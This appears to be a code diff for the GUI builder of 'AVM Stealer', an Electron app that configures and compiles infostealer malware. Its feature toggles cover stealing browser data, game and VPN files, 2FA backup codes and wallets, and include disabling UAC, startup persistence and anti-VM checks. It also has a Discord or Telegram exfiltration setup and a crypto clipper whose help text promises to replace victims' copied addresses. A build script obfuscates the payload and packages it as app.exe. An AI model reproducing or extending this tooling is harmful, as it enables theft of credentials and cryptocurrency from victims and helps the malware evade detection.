<div class="action-container">
|
||||
<button id="btnApplyResources" class="btn-apply">
|
||||
<i class='bx bx-check-shield'></i> Apply & Sign
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="scripts/script_notification.js"></script>
|
||||
<script src="scripts/script_transitions.js"></script>
|
||||
<script src="scripts/script_build.js"></script>
|
||||
<script src="scripts/script_resource_popup.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"games": true,
|
||||
"browsers": true,
|
||||
"filevpn": true,
|
||||
"backupcodes": true,
|
||||
"wallet": true,
|
||||
"disableuac": true,
|
||||
"computerinfo": true,
|
||||
"fakeerror": true,
|
||||
"startup": true,
|
||||
"antivm": false
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="stylesheet" href="style/style_index.css">
|
||||
<link rel="stylesheet" href="style/style_notification.css">
|
||||
<link rel="stylesheet" href="style/style_transitions.css">
|
||||
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
|
||||
<title>AVM Stealer Builder</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Sidebar -->
|
||||
<nav class="sidebar">
|
||||
<div class="logo-menu">
|
||||
<h2 class="logo">AVM Stealer</h2>
|
||||
<i class="bx bx-menu toggle-btn"></i>
|
||||
</div>
|
||||
<ul class="list">
|
||||
<li class="list-item active">
|
||||
<a href="index.html">
|
||||
<i class='bx bx-grid-alt bx-flashing'></i>
|
||||
<span class="link_name" style="--i:1">Features</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="binder.html">
|
||||
<i class='bx bx-wallet'></i>
|
||||
<span class="link_name" style="--i:2">Clipper</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="info.html">
|
||||
<i class='bx bx-detail bx-flip-horizontal'></i>
|
||||
<span class="link_name" style="--i:3">Log info</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="build.html">
|
||||
<i class="bx bx-check-shield"></i>
|
||||
<span class="link_name" style="--i:4">Build</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="about.html">
|
||||
<i class='bx bx-info-circle'></i>
|
||||
<span class="link_name" style="--i:5">About</span>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="maintitle">
|
||||
<h1><i class='bx bx-shield'></i> AVM Builder</h1>
|
||||
<button id="toggleButton" class="toggle-button">Check All</button>
|
||||
</div>
|
||||
<div class="checkbox-container">
|
||||
<div class="checkbox-list-wrapper">
|
||||
<div class="checkbox-list left-list">
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="games" name="games" value="games">
|
||||
<label for="games"> Games Stealer</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="browsers" name="browsers" value="browsers">
|
||||
<label for="browsers">Browsers Stealer</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="filevpn" name="filevpn" value="filevpn">
|
||||
<label for="filevpn">File/VPN Stealer</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="backupcodes" name="backupcodes" value="backupcodes">
|
||||
<label for="backupcodes">2FA/A2F Stealer</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="wallet" name="wallet" value="wallet">
|
||||
<label for="wallet">Wallet Injection</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="spacer"></div>
|
||||
<div class="checkbox-list right-list">
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="disableuac" name="disableuac" value="disableuac">
|
||||
<label for="disableuac">Disable UAC</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="computerinfo" name="computerinfo" value="computerinfo">
|
||||
<label for="computerinfo">Computer Info</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="fakeerror" name="fakeerror" value="fakeerror">
|
||||
<label for="fakeerror">Fake Error</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="startup" name="startup" value="startup">
|
||||
<label for="startup">Basic Startup</label>
|
||||
</div>
|
||||
<div class="checkbox-item">
|
||||
<input type="checkbox" id="antivm" name="antivm" value="antivm">
|
||||
<label for="antivm">Anti-VM/RDP</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="scripts/script_notification.js"></script>
|
||||
<script src="scripts/script_transitions.js"></script>
|
||||
<script src="scripts/script_index.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,112 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="stylesheet" href="style/style_info.css">
|
||||
<link rel="stylesheet" href="style/style_notification.css">
|
||||
<link rel="stylesheet" href="style/style_transitions.css">
|
||||
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
|
||||
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
|
||||
<title>AVM Stealer Builder</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Sidebar -->
|
||||
<nav class="sidebar">
|
||||
<div class="logo-menu">
|
||||
<h2 class="logo">AVM Stealer</h2>
|
||||
<i class="bx bx-menu toggle-btn"></i>
|
||||
</div>
|
||||
<ul class="list">
|
||||
<li class="list-item">
|
||||
<a href="index.html">
|
||||
<i class='bx bx-grid-alt'></i>
|
||||
<span class="link_name" style="--i:1">Features</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="binder.html">
|
||||
<i class='bx bx-wallet'></i>
|
||||
<span class="link_name" style="--i:2">Clipper</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item active">
|
||||
<a href="info.html">
|
||||
<i class='bx bx-detail bx-flip-horizontal bx-flashing'></i>
|
||||
<span class="link_name" style="--i:3">Log info</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="build.html">
|
||||
<i class="bx bx-check-shield"></i>
|
||||
<span class="link_name" style="--i:4">Build</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="about.html">
|
||||
<i class='bx bx-info-circle'></i>
|
||||
<span class="link_name" style="--i:5">About</span>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="maintitle">
|
||||
<h1><i class='bx bx-detail bx-flip-horizontal'></i> Log Informations</h1>
|
||||
<!-- Help Button -->
|
||||
<button id="helpButton" class="help-button">
|
||||
<i class='bx bx-info-circle'></i>Help
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="stats-container">
|
||||
<div class="input-column">
|
||||
<div class="input-group">
|
||||
<label for="input1" onclick="openHelp('discord')">Discord Webhook URL
|
||||
<i class='bx bx-help-circle'></i>
|
||||
</label>
|
||||
<div class="error-bubble">Invalid Discord Webhook!</div>
|
||||
<input type="text" id="input1" placeholder="Enter Discord Webhook URL">
|
||||
</div>
|
||||
|
||||
<button id="testButton" class="selectButton">
|
||||
Test <i class='bx bx-test'></i>
|
||||
</button>
|
||||
</div>
|
||||
<div class="input-column">
|
||||
<div class="input-group">
|
||||
<label for="input2" onclick="openHelp('telegramToken')">Telegram Bot Token
|
||||
<i class='bx bx-help-circle'></i>
|
||||
</label>
|
||||
<div class="error-bubble">Invalid Bot Token!</div>
|
||||
<input type="text" id="input2" placeholder="Enter Telegram Bot Token">
|
||||
</div>
|
||||
<div class="input-group">
|
||||
<label for="input3" onclick="openHelp('telegramChat')">Telegram Chat ID
|
||||
<i class='bx bx-help-circle'></i>
|
||||
</label>
|
||||
<div class="error-bubble">Invalid Chat ID!</div>
|
||||
<input type="text" id="input3" placeholder="Enter Telegram Chat ID">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="actions-container">
|
||||
<label for="input-file" class="selectButton">
|
||||
Save <i class='bx bx-check-circle'></i>
|
||||
</label>
|
||||
<button id="clearButton" class="selectButton clear-btn">
|
||||
Clear <i class='bx bx-trash'></i>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script src="scripts/script_notification.js"></script>
|
||||
<script src="scripts/script_transitions.js"></script>
|
||||
<script src="scripts/script_info.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,99 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Reset Storage</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
margin: 0;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
}
|
||||
|
||||
.container {
|
||||
background: white;
|
||||
padding: 40px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
button {
|
||||
background: #ff4757;
|
||||
color: white;
|
||||
border: none;
|
||||
padding: 15px 30px;
|
||||
font-size: 16px;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
margin: 10px;
|
||||
transition: all 0.3s;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background: #ff3838;
|
||||
transform: scale(1.05);
|
||||
}
|
||||
|
||||
.success {
|
||||
color: #2ecc71;
|
||||
font-weight: bold;
|
||||
margin-top: 20px;
|
||||
display: none;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #333;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.info {
|
||||
color: #666;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>🔄 Reset Storage</h1>
|
||||
<p class="info">Click the button below to clear all saved webhook and bot information.</p>
|
||||
<button onclick="clearStorage()">Clear LocalStorage</button>
|
||||
<button onclick="window.location.href='info.html'">Go to Info Page</button>
|
||||
<p class="success" id="success">✅ Storage cleared successfully!</p>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
function clearStorage() {
|
||||
localStorage.removeItem('discordWebhookURL');
|
||||
localStorage.removeItem('telegramBotToken');
|
||||
localStorage.removeItem('telegramChatID');
|
||||
localStorage.clear();
|
||||
|
||||
document.getElementById('success').style.display = 'block';
|
||||
|
||||
setTimeout(() => {
|
||||
window.location.href = 'info.html';
|
||||
}, 1500);
|
||||
}
|
||||
|
||||
// Display current storage
|
||||
window.onload = function () {
|
||||
const webhook = localStorage.getItem('discordWebhookURL');
|
||||
const token = localStorage.getItem('telegramBotToken');
|
||||
const chatId = localStorage.getItem('telegramChatID');
|
||||
|
||||
console.log('Current storage:');
|
||||
console.log('Discord Webhook:', webhook || 'Not set');
|
||||
console.log('Telegram Token:', token || 'Not set');
|
||||
console.log('Telegram Chat ID:', chatId || 'Not set');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,33 @@
|
||||
const { shell } = require('electron');
|
||||
const sidebar = document.querySelector('.sidebar');
|
||||
const togglebtn = document.querySelector('.toggle-btn');
|
||||
togglebtn.addEventListener('click', () => {
|
||||
sidebar.classList.toggle('active');
|
||||
});
|
||||
const githubLink = 'https://github.com/AVMTools/avm-stealer';
|
||||
document.getElementById('github-link').addEventListener('click', () => {
|
||||
shell.openExternal(githubLink);
|
||||
});
|
||||
const telegramLink = 'https://t.me/avmtools';
|
||||
document.getElementById('telegram-link').addEventListener('click', () => {
|
||||
shell.openExternal(telegramLink);
|
||||
});
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
const url = 'https://raw.githubusercontent.com/AVMTools/avm-stealer/refs/heads/main/gui/about';
|
||||
const aboutTextElement = document.getElementById('about-text');
|
||||
const cacheBustingUrl = `${url}?t=${new Date().getTime()}`;
|
||||
fetch(cacheBustingUrl)
|
||||
.then(response => {
|
||||
if (!response.ok) {
|
||||
throw new Error('Network response was not ok');
|
||||
}
|
||||
return response.text();
|
||||
})
|
||||
.then(data => {
|
||||
aboutTextElement.innerHTML = data;
|
||||
})
|
||||
.catch(error => {
|
||||
console.error('Error fetching the about text:', error);
|
||||
aboutTextElement.innerHTML = '<p>Failed to load content. Please try again later.</p>';
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,75 @@
|
||||
const sidebar = document.querySelector('.sidebar');
|
||||
const togglebtn = document.querySelector('.toggle-btn');
|
||||
togglebtn.addEventListener('click', () => {
|
||||
sidebar.classList.toggle('active');
|
||||
});
|
||||
const patterns = {
|
||||
btc: /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,41}$/,
|
||||
eth: /^0x[a-fA-F0-9]{40}$/,
|
||||
ltc: /^(L|M|3|ltc1)[a-km-zA-HJ-NP-Z1-9]{26,33}$/,
|
||||
trx: /^T[a-zA-Z0-9]{28,33}$/,
|
||||
bch: /^((bitcoincash:)?(q|p)[a-z0-9]{41})$/,
|
||||
xmr: /^4[0-9AB][1-9A-HJ-NP-Za-km-z]{92,95}$/,
|
||||
xrp: /^r[0-9a-zA-Z]{24,34}$/,
|
||||
zcash: /^t1[0-9A-z]{32,39}$/,
|
||||
doge: /^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32,61}$/,
|
||||
sol: /^[1-9A-HJ-NP-Za-km-z]{32,44}$/
|
||||
};
|
||||
const inputs = document.querySelectorAll('.input-wrapper input');
|
||||
const errorBubbles = document.querySelectorAll('.error-bubble');
|
||||
const saveButton = document.getElementById('saveButton');
|
||||
const resetButton = document.getElementById('resetButton');
|
||||
function showError(input, bubble) {
|
||||
bubble.classList.add('show');
|
||||
input.style.borderColor = '#ff4757';
|
||||
setTimeout(() => {
|
||||
bubble.classList.remove('show');
|
||||
input.style.borderColor = 'rgba(255, 255, 255, 0.1)';
|
||||
input.value = '';
|
||||
}, 3000);
|
||||
}
|
||||
inputs.forEach(input => {
|
||||
input.addEventListener('change', () => {
|
||||
const val = input.value.trim();
|
||||
if (val === '') return;
|
||||
const currency = input.id;
|
||||
const pattern = patterns[currency];
|
||||
const bubble = input.parentElement.querySelector('.error-bubble');
|
||||
if (!pattern.test(val)) {
|
||||
showError(input, bubble);
|
||||
}
|
||||
});
|
||||
const saved = localStorage.getItem(`crypto_${input.id}`);
|
||||
if (saved) input.value = saved;
|
||||
});
|
||||
saveButton.addEventListener('click', () => {
|
||||
let allValid = true;
|
||||
inputs.forEach(input => {
|
||||
const val = input.value.trim();
|
||||
if (val !== '') {
|
||||
const pattern = patterns[input.id];
|
||||
if (!pattern.test(val)) {
|
||||
allValid = false;
|
||||
showError(input, input.parentElement.querySelector('.error-bubble'));
|
||||
} else {
|
||||
localStorage.setItem(`crypto_${input.id}`, val);
|
||||
}
|
||||
} else {
|
||||
localStorage.removeItem(`crypto_${input.id}`);
|
||||
}
|
||||
});
|
||||
if (allValid) {
|
||||
showNotification('Clipper addresses saved successfully!', 'success');
|
||||
}
|
||||
});
|
||||
resetButton.addEventListener('click', () => {
|
||||
inputs.forEach(input => {
|
||||
input.value = '';
|
||||
localStorage.removeItem(`crypto_${input.id}`);
|
||||
});
|
||||
showNotification('All addresses have been cleared.', 'info');
|
||||
});
|
||||
function showHelpMessage() {
|
||||
showNotification('Enter your addresses. Victims copied addresses will be replaced with yours if types match.', 'info');
|
||||
}
|
||||
document.getElementById('helpButton').addEventListener('click', showHelpMessage);
|
||||
@@ -0,0 +1,303 @@
|
||||
const { exec } = require('child_process');
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const https = require('https');
|
||||
|
||||
let outputBox = null;
|
||||
|
||||
const sidebar = document.querySelector('.sidebar');
|
||||
const togglebtn = document.querySelector('.toggle-btn');
|
||||
|
||||
togglebtn.addEventListener('click', () => {
|
||||
sidebar.classList.toggle('active');
|
||||
});
|
||||
|
||||
function appendToOutputBox(html) {
|
||||
if (!outputBox) return;
|
||||
const div = document.createElement('div');
|
||||
div.className = 'log-message';
|
||||
div.innerHTML = html;
|
||||
outputBox.appendChild(div);
|
||||
outputBox.scrollTop = outputBox.scrollHeight;
|
||||
}
|
||||
|
||||
function displayMessages(messages, index = 0) {
|
||||
if (index >= messages.length) return;
|
||||
appendToOutputBox(messages[index]);
|
||||
setTimeout(() => displayMessages(messages, index + 1), 600);
|
||||
}
|
||||
|
||||
function runScriptFile(scriptFilePath, showOutputOnSuccess = false) {
|
||||
return new Promise((resolve, reject) => {
|
||||
exec(`node "${scriptFilePath}"`, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
console.error(`Error executing ${scriptFilePath}: ${error}`);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error executing ${scriptFilePath}: ${error.message}`);
|
||||
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${stdout.replace(/\n/g, '<br>')}`);
|
||||
reject(error);
|
||||
return;
|
||||
}
|
||||
if (stderr) {
|
||||
console.error(`stderr Error: ${stderr}`);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> stderr Error: ${stderr}`);
|
||||
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${stdout.replace(/\n/g, '<br>')}`);
|
||||
reject(new Error(stderr));
|
||||
return;
|
||||
}
|
||||
if (showOutputOnSuccess) {
|
||||
const filteredOutput = stdout
|
||||
.split('\n')
|
||||
.filter(line => !line.includes('add:') && !line.includes('del:') && !line.includes('not found:'))
|
||||
.join('\n');
|
||||
appendToOutputBox(`<i class='bx bx-check-square' style='color:#00ff0f'></i> ${scriptFilePath} was executed successfully.`);
|
||||
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${filteredOutput.replace(/\n/g, '<br>')}`);
|
||||
}
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function delay(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
function build() {
|
||||
return new Promise((resolve, reject) => {
|
||||
const buildBatPath = path.resolve(__dirname, '..', '..', 'build');
|
||||
const command = `pkg . --output app.exe --targets node14-win-x64 --compress=GZip`;
|
||||
exec(command, { cwd: buildBatPath, env: { ...process.env, NODE_NO_WARNINGS: '1' } }, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
console.error(`Error executing pkg command: ${error}`);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error executing pkg command: ${error.message}`);
|
||||
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${stdout.replace(/\n/g, '<br>')}`);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> stderr Output: ${stderr.replace(/\n/g, '<br>')}`);
|
||||
reject(error);
|
||||
return;
|
||||
}
|
||||
if (stderr) {
|
||||
console.error(`stderr Error: ${stderr}`);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> stderr Error: ${stderr}`);
|
||||
reject(new Error(stderr));
|
||||
return;
|
||||
}
|
||||
console.log('pkg command executed successfully.');
|
||||
appendToOutputBox(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Compilation Completed Successfully !`);
|
||||
setTimeout(() => {
|
||||
appendToOutputBox(`<i class='bx bx-help-circle' style='color:#6699CC'></i> Click the button in the top right to change the EXE resources.`);
|
||||
document.getElementById('helpButton').style.display = 'block';
|
||||
const modal = document.getElementById('resourceModal');
|
||||
const helpBtn = document.getElementById('helpButton');
|
||||
if (modal && helpBtn) {
|
||||
helpBtn.onclick = function () {
|
||||
modal.classList.add('active');
|
||||
if (window.initResourcePopup) {
|
||||
window.initResourcePopup();
|
||||
}
|
||||
};
|
||||
}
|
||||
resolve();
|
||||
}, 200);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
const buildButton = document.querySelector('label[for="fileInput"]');
|
||||
outputBox = document.getElementById('outputBox');
|
||||
const helpButton = document.getElementById('helpButton');
|
||||
const newButton = document.getElementById('newButton');
|
||||
helpButton.style.display = 'none';
|
||||
newButton.style.display = 'none';
|
||||
|
||||
function checkInfo() {
|
||||
const discordWebhookURL = localStorage.getItem('discordWebhookURL');
|
||||
const telegramBotToken = localStorage.getItem('telegramBotToken');
|
||||
const telegramChatID = localStorage.getItem('telegramChatID');
|
||||
if (discordWebhookURL || (telegramBotToken && telegramChatID)) {
|
||||
if (discordWebhookURL) {
|
||||
return { method: 'Discord Webhook', discordWebhookURL };
|
||||
} else {
|
||||
return { method: 'Telegram Bot', telegramBotToken, telegramChatID };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
const { ipcRenderer } = require('electron');
|
||||
|
||||
async function loadSavedInfoToLocalStorage() {
|
||||
try {
|
||||
const data = await ipcRenderer.invoke('get-info');
|
||||
if (data) {
|
||||
if (data.discordWebhookURL) localStorage.setItem('discordWebhookURL', data.discordWebhookURL);
|
||||
if (data.telegramBotToken) localStorage.setItem('telegramBotToken', data.telegramBotToken);
|
||||
if (data.telegramChatID) localStorage.setItem('telegramChatID', data.telegramChatID);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Failed to load saved info to localStorage:', error);
|
||||
}
|
||||
}
|
||||
|
||||
loadSavedInfoToLocalStorage();
|
||||
|
||||
function getCheckboxStates() {
|
||||
return new Promise((resolve, reject) => {
|
||||
const filePath = path.resolve(__dirname, 'checkbox.json');
|
||||
fs.readFile(filePath, 'utf8', (err, data) => {
|
||||
if (err) {
|
||||
console.error('Error reading checkbox.json:', err);
|
||||
reject(err);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const jsonData = JSON.parse(data);
|
||||
resolve(jsonData);
|
||||
} catch (parseError) {
|
||||
console.error('Error parsing checkbox.json:', parseError);
|
||||
reject(parseError);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function findAppExe() {
|
||||
return new Promise((resolve, reject) => {
|
||||
const dirsToCheck = [path.resolve(__dirname, '../../'), path.resolve(__dirname, '../')];
|
||||
let foundPath = null;
|
||||
for (const dir of dirsToCheck) {
|
||||
const filePath = path.join(dir, 'app.exe');
|
||||
if (fs.existsSync(filePath)) {
|
||||
foundPath = filePath;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (foundPath) {
|
||||
resolve(foundPath);
|
||||
} else {
|
||||
reject(new Error('app.exe not found'));
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function displayMessagesLocal(messages, isReadyToFinalize) {
|
||||
return new Promise((resolve) => {
|
||||
let index = 0;
|
||||
function showNextMessage() {
|
||||
if (index < messages.length) {
|
||||
appendToOutputBox(messages[index]);
|
||||
index++;
|
||||
setTimeout(showNextMessage, 1600);
|
||||
} else if (isReadyToFinalize && isReadyToFinalize()) {
|
||||
resolve();
|
||||
} else {
|
||||
setTimeout(showNextMessage, 500);
|
||||
}
|
||||
}
|
||||
showNextMessage();
|
||||
});
|
||||
}
|
||||
|
||||
buildButton.addEventListener('click', () => {
|
||||
const info = checkInfo();
|
||||
if (!info) {
|
||||
window.location.href = 'info.html?error=missing_info';
|
||||
return;
|
||||
}
|
||||
getCheckboxStates().then(checkboxStates => {
|
||||
const checkedCheckboxIDs = Object.keys(checkboxStates).filter(id => checkboxStates[id]);
|
||||
const checkedCheckboxIDsStr = checkedCheckboxIDs.join(' | ');
|
||||
let messages = [
|
||||
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Build initialized!`,
|
||||
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Features Saved!`,
|
||||
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Clipper adress saved!`,
|
||||
`<i class='bx bx-check-square' style='color:#00ff0f'></i> Method: ${info.method}`
|
||||
];
|
||||
const { method, discordWebhookURL, telegramBotToken, telegramChatID } = info;
|
||||
outputBox.innerHTML = '';
|
||||
let compilationReady = false;
|
||||
const displayPromise = displayMessagesLocal(messages, () => compilationReady);
|
||||
const featuresFilePath = path.resolve(__dirname, '../../stub/features.js');
|
||||
runScriptFile(featuresFilePath, false)
|
||||
.then(() => {
|
||||
let scriptFilePath;
|
||||
if (method === 'Discord Webhook') {
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Discord Webhook URL: ${discordWebhookURL}`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Features chosen: ${checkedCheckboxIDsStr}`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> AES256 Encryption Success!`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> JS Confuser Encryption Success!`);
|
||||
scriptFilePath = path.resolve(__dirname, '../../stub/crypter.js');
|
||||
} else if (method === 'Telegram Bot') {
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Telegram Bot Token: ${telegramBotToken}`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Telegram Chat ID: ${telegramChatID}`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Features chosen: ${checkedCheckboxIDsStr}`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> AES256 Encryption Success!`);
|
||||
messages.push(`<i class='bx bx-check-square' style='color:#00ff0f'></i> JS Confuser Encryption Success!`);
|
||||
scriptFilePath = path.resolve(__dirname, '../../stub/cryptertele.js');
|
||||
}
|
||||
if (scriptFilePath) {
|
||||
return runScriptFile(scriptFilePath).then(() => {
|
||||
compilationReady = true;
|
||||
});
|
||||
} else {
|
||||
throw new Error('No valid script file path provided');
|
||||
}
|
||||
})
|
||||
.then(() => displayPromise)
|
||||
.then(() => {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'finalizing-msg';
|
||||
div.className = 'log-message';
|
||||
div.innerHTML = `<i class='bx bx-sync bx-spin' style='color:#6699CC'></i> <span class="dots">Finalizing</span>`;
|
||||
outputBox.appendChild(div);
|
||||
outputBox.scrollTop = outputBox.scrollHeight;
|
||||
return delay(2000);
|
||||
})
|
||||
.then(() => build())
|
||||
.then(() => {
|
||||
const msg = document.getElementById('finalizing-msg');
|
||||
if (msg) msg.remove();
|
||||
helpButton.style.display = 'block';
|
||||
newButton.style.display = 'block';
|
||||
const modal = document.getElementById('resourceModal');
|
||||
if (modal && helpButton) {
|
||||
helpButton.onclick = function () {
|
||||
modal.classList.add('active');
|
||||
if (window.initResourcePopup) {
|
||||
window.initResourcePopup();
|
||||
}
|
||||
};
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
const msg = document.getElementById('finalizing-msg');
|
||||
if (msg) msg.remove();
|
||||
console.error('Error during build process:', error);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error during build process: ${error.message}`);
|
||||
});
|
||||
}).catch(error => {
|
||||
console.error('Error getting checkbox states:', error);
|
||||
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error getting checkbox states: ${error.message}`);
|
||||
});
|
||||
});
|
||||
|
||||
function handleButtonClick() {
|
||||
findAppExe()
|
||||
.then(filePath => {
|
||||
showNotification(`Full path of the app.exe file: ${filePath}`, 'info');
|
||||
})
|
||||
.catch(error => {
|
||||
showNotification(`Error: ${error.message}`, 'error');
|
||||
});
|
||||
}
|
||||
|
||||
newButton.addEventListener('click', () => {
|
||||
if (window.applyDefaultResources) {
|
||||
window.applyDefaultResources();
|
||||
} else {
|
||||
console.error('window.applyDefaultResources not defined!');
|
||||
showNotification('Error: Default logic not loaded.', 'error');
|
||||
}
|
||||
helpButton.style.display = 'none';
|
||||
newButton.style.display = 'none';
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,78 @@
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const sidebar = document.querySelector('.sidebar');
|
||||
const togglebtn = document.querySelector('.toggle-btn');
|
||||
togglebtn.addEventListener('click', () => {
|
||||
sidebar.classList.toggle('active');
|
||||
});
|
||||
const jsonFilePath = path.join(__dirname, 'checkbox.json');
|
||||
function saveCheckboxStatesToFile() {
|
||||
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
|
||||
const states = {};
|
||||
checkboxes.forEach(checkbox => {
|
||||
states[checkbox.id] = checkbox.checked;
|
||||
});
|
||||
fs.writeFile(jsonFilePath, JSON.stringify(states, null, 2), (err) => {
|
||||
if (err) {
|
||||
console.error('Error writing to checkbox.json:', err);
|
||||
} else {
|
||||
console.log('Checkbox states saved to file:', states);
|
||||
}
|
||||
});
|
||||
}
|
||||
function loadCheckboxStatesFromFile() {
|
||||
try {
|
||||
const data = fs.readFileSync(jsonFilePath, 'utf8');
|
||||
const states = JSON.parse(data);
|
||||
console.log('Checkbox states loaded from file:', states);
|
||||
const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]');
|
||||
checkboxes.forEach(checkbox => {
|
||||
checkbox.checked = states[checkbox.id] || false;
|
||||
});
|
||||
} catch (err) {
|
||||
console.error('Error reading checkbox.json file:', err);
|
||||
}
|
||||
}
|
||||
